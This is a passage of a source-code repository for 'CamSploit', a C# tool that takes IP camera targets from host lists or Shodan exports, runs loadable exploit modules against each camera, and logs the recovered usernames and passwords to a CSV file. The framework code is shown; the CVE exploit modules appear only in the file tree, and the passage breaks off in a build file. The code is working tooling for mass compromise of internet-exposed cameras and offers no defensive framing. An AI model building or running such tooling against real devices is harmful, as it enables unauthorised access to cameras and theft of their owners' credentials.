├── .gitignore
├── CamSploit.sln
├── CamSploit.sln.DotSettings.user
├── CamSploit
├── CamLoader.cs
├── CamSploit.csproj
├── ErrorException.cs
├── ExploitHelper.cs
├── InputType.cs
├── Options.cs
├── Program.cs
├── Writter.cs
└── obj
│ ├── Debug
│ ├── CamSploit.AssemblyInfo.cs
│ └── CamSploit.AssemblyInfoInputs.cache
│ └── project.packagespec.json
├── ExploitMaker
├── Camera.cs
├── Exceptions
│ ├── ExploitFailException.cs
│ ├── ExploituUreachableTargetException.cs
│ └── JsonParserErrorException.cs
├── ExploitMaker.csproj
├── Helpers
│ ├── BinaryHelper.cs
│ ├── ConnectionHelper.cs
│ └── HttpHelper.cs
├── Modules
│ ├── Credencial.cs
│ ├── ExploitResult.cs
│ └── Module.cs
├── Phrases.cs
└── obj
│ ├── Debug
│ ├── ExploitMaker.AssemblyInfo.cs
│ └── ExploitMaker.AssemblyInfoInputs.cache
│ ├── ExploitMaker.csproj.nuget.cache
│ ├── ExploitMaker.csproj.nuget.g.props
│ ├── ExploitMaker.csproj.nuget.g.targets
│ ├── project.assets.json
│ └── project.packagespec.json
├── Exploits
├── CVE_2018_10676.cs
├── CVE_2018_9995.cs
├── Exploits.csproj
└── obj
│ ├── Debug
│ ├── Exploits.AssemblyInfo.cs
│ └── Exploits.AssemblyInfoInputs.cache
│ ├── Exploits.csproj.nuget.cache
│ ├── Exploits.csproj.nuget.g.props
│ ├── Exploits.csproj.nuget.g.targets
│ ├── project.assets.json
│ └── project.packagespec.json
├── LICENSE.txt
├── Lib
├── CommandLine.dll
└── Newtonsoft.Json.dll
├── README.md
├── Resources
└── icon.png
├── build.bat
└── build.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | CamSploit\obj
3 | CamSploit\bin
4 | ExploitMaker\obj
5 | ExploitMaker\bin
6 | Exploits\obj
7 | Exploits\bin
8 | Binary
--------------------------------------------------------------------------------
/CamSploit.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2012
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExploitMaker", "ExploitMaker\ExploitMaker.csproj", "{990CCB0F-6917-46B4-9A63-423B7B77C971}"
5 | EndProject
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Exploits", "Exploits\Exploits.csproj", "{04166FD8-4B34-4C47-94F5-1B1EC803805D}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CamSploit", "CamSploit\CamSploit.csproj", "{220CC5C4-B0F6-4D46-9603-693F676D0A4A}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x86 = Debug|x86
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Release|x86.ActiveCfg = Release|Any CPU
17 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Release|x86.Build.0 = Release|Any CPU
18 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Debug|x86.ActiveCfg = Debug|Any CPU
19 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Debug|x86.Build.0 = Debug|Any CPU
20 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Release|x86.ActiveCfg = Release|Any CPU
21 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Release|x86.Build.0 = Release|Any CPU
22 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Debug|x86.ActiveCfg = Debug|Any CPU
23 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Debug|x86.Build.0 = Debug|Any CPU
24 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Debug|x86.ActiveCfg = Debug|Any CPU
25 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Debug|x86.Build.0 = Debug|Any CPU
26 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Release|x86.ActiveCfg = Release|Any CPU
27 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Release|x86.Build.0 = Release|Any CPU
28 | EndGlobalSection
29 | EndGlobal
30 |
--------------------------------------------------------------------------------
/CamSploit.sln.DotSettings.user:
--------------------------------------------------------------------------------
1 |
2 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
3 | <Policy Inspect="True" Prefix="" Suffix="" Style="aaBb" />
4 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
5 | <Policy Inspect="True" Prefix="" Suffix="" Style="aaBb" />
6 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
7 | 2
--------------------------------------------------------------------------------
/CamSploit/CamLoader.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.IO;
3 | using System.Reflection;
4 | using Newtonsoft.Json.Linq;
5 |
6 | namespace ExploitMaker.Cam
7 | {
8 | public static class CamLoader
9 | {
10 | public static IEnumerable LoadFromTextFile(string filePath)
11 | {
12 | if (!Path.IsPathRooted(filePath))
13 | filePath = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), filePath);
14 |
15 | using (var file = new StreamReader(filePath))
16 | {
17 | string line;
18 | while ((line = file.ReadLine()) != null)
19 | {
20 | var splitted = line.Split(':');
21 |
22 | var cam = new Camera(splitted[0], splitted[1]);
23 | yield return cam;
24 | }
25 |
26 | file.Close();
27 | }
28 | }
29 |
30 | public static IEnumerable LoadFromShodanJsonFile(string filePath)
31 | {
32 | if (!Path.IsPathRooted(filePath))
33 | filePath = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), filePath);
34 |
35 | using (var fileReader = new StreamReader(filePath))
36 | {
37 | string line;
38 | while ((line = fileReader.ReadLine()) != null)
39 | {
40 | dynamic json = JObject.Parse(line);
41 |
42 | var cam = new Camera(json.http.host.ToString(), json.port.ToString())
43 | {
44 | Country = json.location.country_name,
45 | City = json.location.city,
46 | Description = json.title
47 | };
48 |
49 | yield return cam;
50 | }
51 |
52 | fileReader.Close();
53 | }
54 | }
55 |
56 | public static IEnumerable LoadFromHost(string ipPort)
57 | {
58 | yield return new Camera(ipPort.Split(':')[0], ipPort.Split(':')[1]);
59 | }
60 | }
61 | }
--------------------------------------------------------------------------------
/CamSploit/CamSploit.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | Exe
4 | netcoreapp2.1
5 | false
6 | default
7 | 1.0.1
8 | 1.0.1
9 | 1.0.1
10 |
11 |
12 | $(SolutionDir)Binary\Release\
13 |
14 |
15 | $(SolutionDir)\Binary\Debug\
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | ..\Lib\CommandLine.dll
25 |
26 |
27 | ..\Lib\Newtonsoft.Json.dll
28 |
29 |
30 |
31 |
32 | .gitignore
33 |
34 |
35 | README.md
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/CamSploit/ErrorException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace CamSploit
4 | {
5 | ///
6 | /// This class represents an error in the execution of the normal flow code (not for error in exploits)
7 | ///
8 | public class ErrorException : Exception
9 | {
10 | public ErrorException(string msg) :base (msg)
11 | {
12 |
13 | }
14 | }
15 | }
--------------------------------------------------------------------------------
/CamSploit/ExploitHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Reflection;
6 | using Module = ExploitMaker.Modules.Module;
7 |
8 | namespace CamSploit
9 | {
10 | public static class ExploitHelper
11 | {
12 | private static List _exploits;
13 |
14 | private const string InvalidCommonNames = "One of the entered exploits was not found";
15 |
16 | private static void LoadExploits()
17 | {
18 | _exploits = new List();
19 |
20 | var currentPath = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "Exploits");
21 |
22 | var allAssemblies = Directory.GetFiles(currentPath, "*.dll").Select(Assembly.LoadFile);
23 |
24 | foreach (var assembly in allAssemblies)
25 | {
26 | Exploits.AddRange(from t in assembly.GetTypes()
27 | where t.BaseType == typeof(Module) && t.GetConstructor(Type.EmptyTypes) != null
28 | select (Module) Activator.CreateInstance(t));
29 | }
30 | }
31 |
32 | private static List Exploits
33 | {
34 | get
35 | {
36 | if (_exploits == null)
37 | LoadExploits();
38 |
39 | return _exploits;
40 | }
41 | }
42 |
43 | ///
44 | /// Returns all Common name of all loaded modules
45 | ///
46 | public static IEnumerable GetAllCommonName()
47 | {
48 | return Exploits.Select(x => x.CommonName);
49 | }
50 |
51 | ///
52 | /// Returns one exploit from its common name
53 | ///
54 | public static Module GetExploit(string commonName)
55 | {
56 | var r = Exploits.FirstOrDefault(x => x.CommonName == commonName.ToUpper());
57 |
58 | if(r != null)
59 | return r;
60 |
61 | throw new ErrorException(InvalidCommonNames);
62 | }
63 |
64 | ///
65 | /// Returns all exploits from their common names
66 | ///
67 | public static IEnumerable GetExploits(IEnumerable commonNames)
68 | {
69 | return commonNames.Select(GetExploit);
70 | }
71 |
72 | ///
73 | /// Returns all loaded exploits
74 | ///
75 | public static IEnumerable GetAll()
76 | {
77 | return Exploits;
78 | }
79 | }
80 | }
--------------------------------------------------------------------------------
/CamSploit/InputType.cs:
--------------------------------------------------------------------------------
1 | namespace CamSploit
2 | {
3 | //enum
4 | public enum InputType
5 | {
6 | ListExploit,
7 | SingleHost,
8 | ListHost,
9 | Shodan,
10 | None
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/CamSploit/Options.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using CommandLine;
3 |
4 | namespace CamSploit
5 | {
6 | public class Options
7 | {
8 | [Option("rhost", Required = true, HelpText = "Single host in format IP:Port, example 192.168.0.1:80",SetName = "a")]
9 | public string SingleHost { get; set; }
10 |
11 | [Option("rhost-list", Required = true, HelpText = "Text file with one single full host (IP:Port) per line.", SetName = "b")]
12 | public string ListHost { get; set; }
13 |
14 | [Option("rhost-shodan-file", Required = true, HelpText = "JSON Shodan data file, example: data.json", SetName = "c")]
15 | public string ShodanFile { get; set; }
16 |
17 | [Option("show-exploit", Required = true, HelpText = "Show all exploits in the application or the description of one exploit.", SetName = "d")]
18 | public string ShowExploit { get; set; }
19 |
20 | [Option("output", Required = false, Default = "output.camsploit.txt", HelpText = "Output file (it is optional).")]
21 | public string Output { get; set; }
22 |
23 | [Option("exploits", Required = false, HelpText = "List of exploits separated by spaces, example CVE_2018_9995 Default_Password_CeNova", Separator = ',')]
24 | public IEnumerable Exploits { get; set; }
25 |
26 | public InputType GetInputType()
27 | {
28 | if (ShowExploit != null)
29 | return InputType.ListExploit;
30 |
31 | if (SingleHost != null)
32 | return InputType.SingleHost;
33 |
34 | if (ListHost != null)
35 | return InputType.ListHost;
36 |
37 | return ShodanFile != null ? InputType.Shodan : InputType.None;
38 | }
39 | }
40 | }
--------------------------------------------------------------------------------
/CamSploit/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using CommandLine;
5 | using ExploitMaker;
6 | using ExploitMaker.Cam;
7 | using ExploitMaker.Exceptions;
8 | using ExploitMaker.Modules;
9 |
10 | namespace CamSploit
11 | {
12 | public static class Program
13 | {
14 | private const string InvalidMainAction = "Invalid main action, plase select one of the following actions: rhost, list-rhost, shodan-file or show-exploit";
15 |
16 | private const string InvalidCommonName = "The entered exploit was not found";
17 |
18 | private static void Main(string[] args)
19 | {
20 | try
21 | {
22 | Parser.Default.ParseArguments(args).WithParsed(Process);
23 | }
24 | catch (ErrorException ex)
25 | {
26 | Console.WriteLine("Error: " + ex.Message);
27 | }
28 | catch (Exception ex)
29 | {
30 | Console.WriteLine(ex);
31 | }
32 | }
33 |
34 | private static void Process(Options opts)
35 | {
36 | if (opts.GetInputType() == InputType.ListExploit)
37 | {
38 | string desc;
39 | if (opts.ShowExploit.ToUpper() == "ALL")
40 | {
41 | desc = string.Join("\n", ExploitHelper.GetAllCommonName());
42 | }
43 | else
44 | {
45 | var exploit = ExploitHelper.GetExploit(opts.ShowExploit);
46 | desc = exploit == null ? InvalidCommonName : exploit.Description;
47 | }
48 |
49 | Console.WriteLine(desc);
50 | return;
51 | }
52 |
53 | using (var writter = new Writter(opts.Output))
54 | {
55 | IEnumerable cams = null;
56 |
57 | switch (opts.GetInputType())
58 | {
59 | case InputType.SingleHost:
60 | cams = CamLoader.LoadFromHost(opts.SingleHost);
61 | break;
62 | case InputType.ListHost:
63 | cams = CamLoader.LoadFromTextFile(opts.ListHost);
64 | break;
65 | case InputType.Shodan:
66 | cams = CamLoader.LoadFromShodanJsonFile(opts.ShodanFile);
67 | break;
68 | case InputType.None:
69 | throw new
70 | ErrorException(InvalidMainAction);
71 | }
72 |
73 | var exploits = opts.Exploits != null && opts.Exploits.Any()
74 | ? ExploitHelper.GetExploits(opts.Exploits)
75 | : ExploitHelper.GetAll();
76 |
77 | if (cams == null)
78 | return;
79 |
80 | var enumerable = exploits as Module[] ?? exploits.ToArray();
81 | foreach (var cam in cams)
82 | {
83 | foreach (var e in enumerable)
84 | {
85 | try
86 | {
87 | writter.InitTest(e.CommonName, cam);
88 |
89 | var exploitResult = e.Run(cam);
90 |
91 | writter.LogResult(e.CommonName, cam, exploitResult);
92 | }
93 | catch (ExploitFailException ex)
94 | {
95 | writter.ExploitExecutionFailed(ex);
96 | }
97 | catch (ExploituUreachableTargetException ex)
98 | {
99 | writter.ExploitExecutionFailedUnreachableTarget(ex);
100 | }
101 | }
102 | }
103 | }
104 | }
105 | }
106 | }
--------------------------------------------------------------------------------
/CamSploit/Writter.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Reflection;
4 | using ExploitMaker;
5 | using ExploitMaker.Exceptions;
6 | using ExploitMaker.Modules;
7 |
8 | namespace CamSploit
9 | {
10 | public class Writter:IDisposable
11 | {
12 | private readonly StreamWriter _txtFile;
13 |
14 | private string _fail = "Fail";
15 | private string _notVulnerable = "NotVulnerable";
16 | private string _vulnerable= "Vulnerable";
17 | private string _unreachable = "Unreachable";
18 |
19 | public Writter(string outputPath)
20 | {
21 | if (!Path.IsPathRooted(outputPath))
22 | outputPath = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), outputPath);
23 |
24 | _txtFile = new StreamWriter(outputPath);
25 | }
26 |
27 | public void Dispose()
28 | {
29 | _txtFile.Dispose();
30 | }
31 |
32 | public void InitTest(string module, Camera cam)
33 | {
34 | Console.WriteLine(Phrases.Init_Test, module, cam.Address);
35 | }
36 |
37 | public void LogResult(string module, Camera cam, ExploitResult exploitResult)
38 | {
39 | if (exploitResult.Result)
40 | {
41 | Console.WriteLine(exploitResult.ScreenMessage);
42 |
43 | _txtFile.WriteLine(string.Join(',', cam, exploitResult.Credencials.Username, exploitResult.Credencials.Password, module, _vulnerable, CleanString(exploitResult.Comment)));
44 | _txtFile.Flush();
45 | }
46 | else
47 | {
48 | Console.WriteLine(exploitResult.ScreenMessage);
49 |
50 | _txtFile.WriteLine(string.Join(',', cam, "", "", module, _notVulnerable, CleanString(exploitResult.Comment)));
51 | _txtFile.Flush();
52 | }
53 | }
54 |
55 | public void ExploitExecutionFailed(ExploitFailException ex)
56 | {
57 | Console.WriteLine(ex.ScreenMessage);
58 |
59 | _txtFile.WriteLine(string.Join(',', ex.Camera, "null", "null", ex.CommonName, _fail, CleanString(ex.Message)));
60 | _txtFile.Flush();
61 | }
62 |
63 | public void ExploitExecutionFailedUnreachableTarget(ExploituUreachableTargetException ex)
64 | {
65 | Console.WriteLine(ex.ScreenMessage);
66 |
67 | _txtFile.WriteLine(string.Join(',', ex.Camera, "null", "null", ex.CommonName, _unreachable, CleanString(ex.ScreenMessage)));
68 | _txtFile.Flush();
69 | }
70 |
71 | ///
72 | /// Remove some problematic characters, to writte the messages in csv files
73 | ///
74 | private string CleanString(string toClean)
75 | {
76 | return toClean.Replace(',', ' ').Replace('\n', ' ');
77 | }
78 | }
79 | }
--------------------------------------------------------------------------------
/CamSploit/obj/Debug/CamSploit.AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Generated by the MSBuild WriteCodeFragment class.
4 | //
5 | //------------------------------------------------------------------------------
6 |
7 | using System;
8 | using System.Reflection;
9 |
10 | [assembly: System.Reflection.AssemblyCompanyAttribute("CamSploit")]
11 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
12 | [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.1")]
13 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.1")]
14 | [assembly: System.Reflection.AssemblyProductAttribute("CamSploit")]
15 | [assembly: System.Reflection.AssemblyTitleAttribute("CamSploit")]
16 | [assembly: System.Reflection.AssemblyVersionAttribute("1.0.1")]
17 |
--------------------------------------------------------------------------------
/CamSploit/obj/Debug/CamSploit.AssemblyInfoInputs.cache:
--------------------------------------------------------------------------------
1 | 2052c4cc638e1245eafe2b5cd2b63719c345a551
2 |
--------------------------------------------------------------------------------
/CamSploit/obj/project.packagespec.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "1.0.0",
3 | "restore": {
4 | "projectUniqueName": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\CamSploit\\CamSploit.csproj",
5 | "projectName": "CamSploit",
6 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\CamSploit\\CamSploit.csproj",
7 | "outputPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\CamSploit\\obj\\",
8 | "projectStyle": "PackageReference",
9 | "originalTargetFrameworks": [
10 | "netcoreapp2.1"
11 | ],
12 | "frameworks": {
13 | "netcoreapp2.1": {
14 | "projectReferences": {
15 | "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj": {
16 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj"
17 | }
18 | }
19 | }
20 | },
21 | "warningProperties": {
22 | "warnAsError": [
23 | "NU1605"
24 | ]
25 | }
26 | },
27 | "frameworks": {
28 | "netcoreapp2.1": {
29 | "dependencies": {
30 | "Microsoft.NETCore.App": {
31 | "suppressParent": "All",
32 | "target": "Package",
33 | "version": "[2.1.0, )",
34 | "autoReferenced": true
35 | }
36 | },
37 | "imports": [
38 | "net461"
39 | ],
40 | "assetTargetFallback": true,
41 | "warn": true
42 | }
43 | },
44 | "runtimes": {
45 | "": {
46 | "#import": []
47 | },
48 | "win-x64": {
49 | "#import": []
50 | }
51 | }
52 | }
--------------------------------------------------------------------------------
/ExploitMaker/Camera.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker
2 | {
3 | public class Camera
4 | {
5 | public Camera(string host, string port)
6 | {
7 | Port = port;
8 | Host = host;
9 | }
10 |
11 | public string Host { get; set; }
12 |
13 | public string Port { get; set; }
14 |
15 | public string UrlHttp => "http://" + Host + ":" + Port;
16 |
17 | public string UrlHttps => "https://" + Host + ":" + Port;
18 |
19 | public string Address => Host + ":" + Port;
20 |
21 | public string Country { get; set; }
22 |
23 | public string City { get; set; }
24 |
25 | public string Description { get; set; }
26 |
27 | public override string ToString()
28 | {
29 | if (string.IsNullOrEmpty(Description))
30 | Description = "";
31 |
32 | if (string.IsNullOrEmpty(Country))
33 | Country = "";
34 |
35 | if (string.IsNullOrEmpty(City))
36 | City = "";
37 |
38 | return string.Join(',', Host, Port, UrlHttp, Description.Replace(',', ' '), Country.Replace(',', ' '), City.Replace(',', ' '));
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/ExploitMaker/Exceptions/ExploitFailException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ExploitMaker.Exceptions
4 | {
5 | ///
6 | /// This class represents an internal error trying to execute one exploit
7 | ///
8 | public class ExploitFailException : Exception
9 | {
10 | public ExploitFailException(Camera cam, string commonName, string msg) : base(msg)
11 | {
12 | Camera = cam;
13 | CommonName = commonName;
14 | }
15 |
16 | public Camera Camera { get; private set; }
17 |
18 | public string CommonName { get; private set; }
19 |
20 | public string ScreenMessage => string.Format(Phrases.Test_Fail, CommonName, Camera.Address);
21 | }
22 | }
--------------------------------------------------------------------------------
/ExploitMaker/Exceptions/ExploituUreachableTargetException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ExploitMaker.Exceptions
4 | {
5 | ///
6 | /// This class represents an error, trying to execute one exploit
7 | ///
8 | public class ExploituUreachableTargetException : Exception
9 | {
10 | public ExploituUreachableTargetException(Camera cam, string commonName)
11 | {
12 | Camera = cam;
13 | CommonName = commonName;
14 | }
15 |
16 | public Camera Camera { get; private set; }
17 |
18 | public string CommonName { get; private set; }
19 |
20 | public string ScreenMessage => string.Format(Phrases.IP_Camera_Is_Not_Reachable, Camera.Address, CommonName);
21 | }
22 | }
--------------------------------------------------------------------------------
/ExploitMaker/Exceptions/JsonParserErrorException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ExploitMaker.Exceptions
4 | {
5 | ///
6 | /// This class represents an error trying to parse a string in JSON format. This is often used in HttpHelpers
7 | ///
8 | public class JsonParserErrorException: Exception
9 | {
10 | public JsonParserErrorException(string msg): base(msg)
11 | {
12 | }
13 | }
14 | }
--------------------------------------------------------------------------------
/ExploitMaker/ExploitMaker.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | netcoreapp2.1
4 | false
5 | default
6 | 1.0.1
7 | 1.0.1
8 | 1.0.1
9 |
10 |
11 | $(SolutionDir)Binary\Release
12 |
13 |
14 | $(SolutionDir)Binary\Debug
15 |
16 |
17 |
18 |
19 | ..\Lib\Newtonsoft.Json.dll
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ExploitMaker/Helpers/BinaryHelper.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 |
3 | namespace ExploitMaker.Helpers
4 | {
5 | public static class BinaryHelper
6 | {
7 | ///
8 | /// Returns the bytes of one streams
9 | ///
10 | public static byte[] ReadBytes(Stream input)
11 | {
12 | var buffer = new byte[16*1024];
13 | using (var ms = new MemoryStream())
14 | {
15 | int read;
16 | while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
17 | ms.Write(buffer, 0, read);
18 | return ms.ToArray();
19 | }
20 | }
21 | }
22 | }
--------------------------------------------------------------------------------
/ExploitMaker/Helpers/ConnectionHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Net;
5 | using System.Net.Sockets;
6 | using System.Text;
7 |
8 | namespace ExploitMaker.Helpers
9 | {
10 | public static class ConnectionHelper
11 | {
12 | ///
13 | /// Returns one stream using sockets, and sending one message to the target
14 | ///
15 | public static Stream GetStream(string ip, string port, string msg, int dataLength)
16 | {
17 | var tries = 1000;
18 | var timeOutRec = 10 * 1000; //ms
19 | try
20 | {
21 | using (var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp))
22 | {
23 | socket.ReceiveTimeout = timeOutRec;
24 |
25 | socket.Connect(ip, int.Parse(port));
26 | socket.Send(Encoding.ASCII.GetBytes(msg));
27 |
28 | var result = new List();
29 | var left = dataLength;
30 |
31 | while (left > 0)
32 | {
33 | var buffer = new byte[1024];
34 | var byteCounter = socket.Receive(buffer);
35 |
36 | if (byteCounter == 0)
37 | {
38 | if (tries > 0)
39 | {
40 | tries--;
41 | continue;
42 | }
43 |
44 | break;
45 | }
46 |
47 | left = left - byteCounter;
48 | result.AddRange(buffer);
49 | }
50 |
51 | var stream = new MemoryStream(result.ToArray());
52 |
53 | socket.Close();
54 | return stream;
55 | }
56 | }
57 | catch (OperationCanceledException)
58 | {
59 | //The host is not alive
60 | return null;
61 | }
62 | catch (WebException)
63 | {
64 | //The host is not alive
65 | return null;
66 | }
67 | catch (EndOfStreamException)
68 | {
69 | //The host is not alive
70 | return null;
71 | }
72 | catch (SocketException)
73 | {
74 | //The host was alive, but now, it is not.
75 | return null;
76 | }
77 | }
78 |
79 | ///
80 | /// Download a file using HTTP throug socket connection
81 | ///
82 | public static Stream DownloadHttpFile(string ip, string port, string url, int dataLength)
83 | {
84 | var request = string.Format(@"GET {0} HTTP/1.1
85 | Host: {1}
86 |
87 |
88 | ", url, ip);
89 | return GetStream(ip, port, request, dataLength);
90 | }
91 |
92 | ///
93 | /// Chek for open port
94 | ///
95 | public static bool IsOpenPort(string ip, int port, int msTimeout = 5000)
96 | {
97 | using (var tcpClient = new TcpClient())
98 | {
99 | try
100 | {
101 | if(!tcpClient.ConnectAsync(ip, port).Wait(msTimeout))
102 | return false;
103 |
104 | tcpClient.Close();
105 | return true;
106 | }
107 | catch (Exception)
108 | {
109 | return false;
110 | }
111 | }
112 | }
113 | }
114 | }
--------------------------------------------------------------------------------
/ExploitMaker/Helpers/HttpHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Net;
6 | using ExploitMaker.Exceptions;
7 | using Newtonsoft.Json;
8 |
9 | namespace ExploitMaker.Helpers
10 | {
11 | public static class HttpHelper
12 | {
13 | ///
14 | /// Makes a GET HTTP request. If parseJson is true, tries to parse to JSON
15 | /// The result can be null, if something was wrong.
16 | ///
17 | public static object Get(string url, Dictionary cookies = null, bool parseJson = false)
18 | {
19 | var request = WebRequest.CreateHttp(url);
20 | request.Timeout = 10000;
21 | request.Method = "GET";
22 |
23 | if (cookies != null && cookies.Any())
24 | {
25 | request.CookieContainer = new CookieContainer();
26 |
27 | foreach (var c in cookies)
28 | {
29 | request.CookieContainer.Add(new Cookie(c.Key, c.Value) {Domain = new Uri(url).Host});
30 | }
31 | }
32 |
33 | var text = "";
34 | try
35 | {
36 | var response = (HttpWebResponse) request.GetResponse();
37 | var respStream = response.GetResponseStream();
38 |
39 | //No response
40 | if (respStream == null)
41 | return null;
42 |
43 | using (var sr = new StreamReader(respStream))
44 | {
45 | text = sr.ReadToEnd();
46 | return parseJson ? JsonConvert.DeserializeObject(text) : text;
47 | }
48 | }
49 | catch (JsonReaderException ex)
50 | {
51 | //Invalid JSON response, the server is alive but the response is not a JSON
52 | throw new JsonParserErrorException(ex.Message + " - " + text);
53 | }
54 | catch (JsonSerializationException ex)
55 | {
56 | //Invalid JSON response, the server is alive but the response is not a JSON
57 | throw new JsonParserErrorException(ex.Message + " - " + text);
58 | }
59 | catch (OperationCanceledException)
60 | {
61 | //Invalid HTTP Response
62 | return null;
63 | }
64 | catch (WebException)
65 | {
66 | //Invalid HTTP Response
67 | return null;
68 | }
69 | }
70 |
71 | ///
72 | /// Download in memory one file from HTTP response
73 | ///
74 | public static Stream Download(string url, Dictionary cookies = null)
75 | {
76 | var wc = new WebClient();
77 |
78 | if(cookies != null )
79 | foreach (var cookie in cookies)
80 | wc.Headers.Add(HttpRequestHeader.Cookie, cookie.Key+"="+cookie.Value);
81 |
82 | var bytes = wc.DownloadData(url);
83 | return new MemoryStream(bytes);
84 | }
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/ExploitMaker/Modules/Credencial.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker.Modules
2 | {
3 | public class Credencial
4 | {
5 | public Credencial(string username, string password, string msg = "")
6 | {
7 | Username = username;
8 | Password = password;
9 | Message = msg;
10 | }
11 |
12 | public string Username { get; set; }
13 |
14 | public string Password { get; set; }
15 |
16 | public string Message { get; set; }
17 |
18 | public override string ToString()
19 | {
20 | return Username + ":" + Password;
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/ExploitMaker/Modules/ExploitResult.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker.Modules
2 | {
3 | public class ExploitResult
4 | {
5 | public ExploitResult(bool result, string screenMessage, string comment, string user, string pass)
6 | {
7 | Result = result;
8 | ScreenMessage = screenMessage;
9 | Comment = comment;
10 |
11 | Credencials = new Credencial(user,pass);
12 | }
13 |
14 | public ExploitResult(bool result, string screenMessage, string comment)
15 | {
16 | Result = result;
17 | ScreenMessage = screenMessage;
18 | Comment = comment;
19 |
20 | Credencials = null;
21 | }
22 |
23 | public bool Result { get; private set; }
24 |
25 | public Credencial Credencials { get; private set; }
26 |
27 | public string ScreenMessage { get; private set; }
28 |
29 | public string Comment { get; private set; }
30 | }
31 | }
--------------------------------------------------------------------------------
/ExploitMaker/Modules/Module.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker.Modules
2 | {
3 | public abstract class Module
4 | {
5 | public abstract string CommonName { get; }
6 |
7 | public abstract string Description { get; }
8 |
9 | public string FullDescription => CommonName + ":" + Description;
10 |
11 | public abstract ExploitResult Run(Camera cam);
12 | }
13 | }
--------------------------------------------------------------------------------
/ExploitMaker/Phrases.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker
2 | {
3 | public static class Phrases
4 | {
5 | public static string Init_Test = "Testing {0} for Cam {1}";
6 |
7 | public static string Test_Fail = "The module {0} fail for the cam {1}";
8 |
9 | public static string IP_Camera_Is_Not_Reachable = "The Camera {0} is not reachable for the module {1}";
10 |
11 | public static string Test_NotVulnerable = "The Cam {0} is not vulnerable for the module {1}";
12 |
13 | public static string Test_Success = "The Cam {0} is vulnerable for the module {1} {2}";
14 | }
15 | }
--------------------------------------------------------------------------------
/ExploitMaker/obj/Debug/ExploitMaker.AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Generated by the MSBuild WriteCodeFragment class.
4 | //
